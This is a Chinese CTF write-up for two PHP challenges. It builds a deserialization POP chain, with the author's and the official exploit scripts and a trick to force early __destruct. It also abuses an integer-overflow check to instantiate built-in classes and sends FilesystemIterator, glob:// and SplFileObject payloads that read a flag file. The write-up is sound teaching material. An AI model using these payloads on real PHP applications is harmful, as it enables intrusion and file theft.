写在前面:这次的做出一道php题,通过这次的比赛,深入理解反序列化漏洞,通过复现学到了很多新的点
参考一篇特别详细的wp
源码
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
结合题目源码
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
必须在异常抛出之前执行析构函数,达到利用__destruct的目的
调用__destruct方法
通过测试发现确实提前执行了__destruct析构函数
方式一、将序列化后的结果
a:2:{i:0;O:4:"Demo":0:{}i:1;N;}
改成如下形式,即可触发GC回收机制
a:2:{i:0;O:4:"Demo":0:{}i:0;N;}
通过本地测试,破坏序列化结果也可以实现提前销毁对象,执行__destruct函数
one::__destruct
=> seconde::__call
=> second::addMe()
=> one::__toString
=> third::__get
=> one::MeMeMe()
这个链子很好找,但是存在one这个类被反复调用的情况,通过实例化两个one对象来避免
另外怎么在third::__get
中调用one::MeMeMe()
函数,并且满足if条件
看下终点这个函数
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."";
global $flag;
echo $flag;
}
});
}
highlight_file(__FILE__);
class Demo{
public $object = "This is a test";
public function MeMeMe(){
array_walk($this, function($fn, $pre){
echo $fn."|".$pre;
});
}
}
$a = new Demo();
$a->MeMeMe();
public $year_yarm = array("Happy_func");
使用数组调用类的方法来调用MeMeMe函数
[new one(), "MeMeM"]
__get中的调用过程
最后形成exp
highlight_file(__FILE__);
class one {
public $object;
public $year_yarm = array(0=>"Happy_func");
}
class second {
public $filename;
}
class third {
private $string;
public function __construct(){
$this->string = array("string"=>[new one(), "MeMeMe"]);
}
}
$a = new one();
$b = new one();
$c = new second();
$d = new third('haha');
$b->object = $d;
$c->filename = $b;
$a->object = $c;
$n = null;
$payload = array($a, $n);
echo urlencode(serialize($payload));
生成payload,将红色圈出来的修改为零即可
附官方wp
class one {
public $object;
}
class second {
protected $filename;
public function __construct($filename){
$this->filename=$filename;
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
}
$a3=new one();
$a2=new one();
$a1=new one();
$a1->object=new second($a2);
$a2->object=new third(['string'=>[$a3,'MeMeMe']]);
$a3->year_parm=['Happy_func'];
echo urlencode(serialize($a1));
然后去掉一个}
的编码,传参即可
php的内置类参考文章
网页源代码中有提示,存在源码
error_reporting(0);
if(isset($_GET['source'])){
highlight_file(__FILE__);
echo "\$flag_filename = 'flag'.md5(???).'php';";
die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
$c = $_POST['c'];
$count[++$c] = 1;
if($count[] = 1) {
$count[++$c] = 1;
print_r($count);
die();
}else{
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
}
}
?>
分析:传入三个参数a、b、c,可以利用的点在else块中类,所以要有让判断条件进入else
绕过if条件为真的情况,通过数组键的值溢出报错导致不进入if条件里
263 - 2 = 9223372036854775806 (这里的指数看系统的位数)
利用php自带的类进行文件读取操作
找到一个查找自带类的脚本
$classes = get_declared_classes();
foreach($classes as $class){
$methods = get_class_methods($class);
foreach($methods as $method){
if (in_array($method,array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))){
print $class.'::'.$method.'\n';
}
}
}
需要查找文件目录和能读取文件内容的类
这里参考http://blog.m1kael.cn/index.php/archives/12/,利用文中提到两个类进行文件读取
SplFileObject读取文件
FilesystemIterator遍历路径下的文件
读取文件目录
payload
a=FilesystemIterator&b=.%2F&c=9223372036854775806
读取文件还可以用glob协议
,数字5可以用burp爆破一下,出现503多试几次
payload
a=FilesystemIterator&b=glob:///var/www/html/flag5*&c=9223372036854775806
读取文件内容payload
a=SplFileObject&b=.%2Fflag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806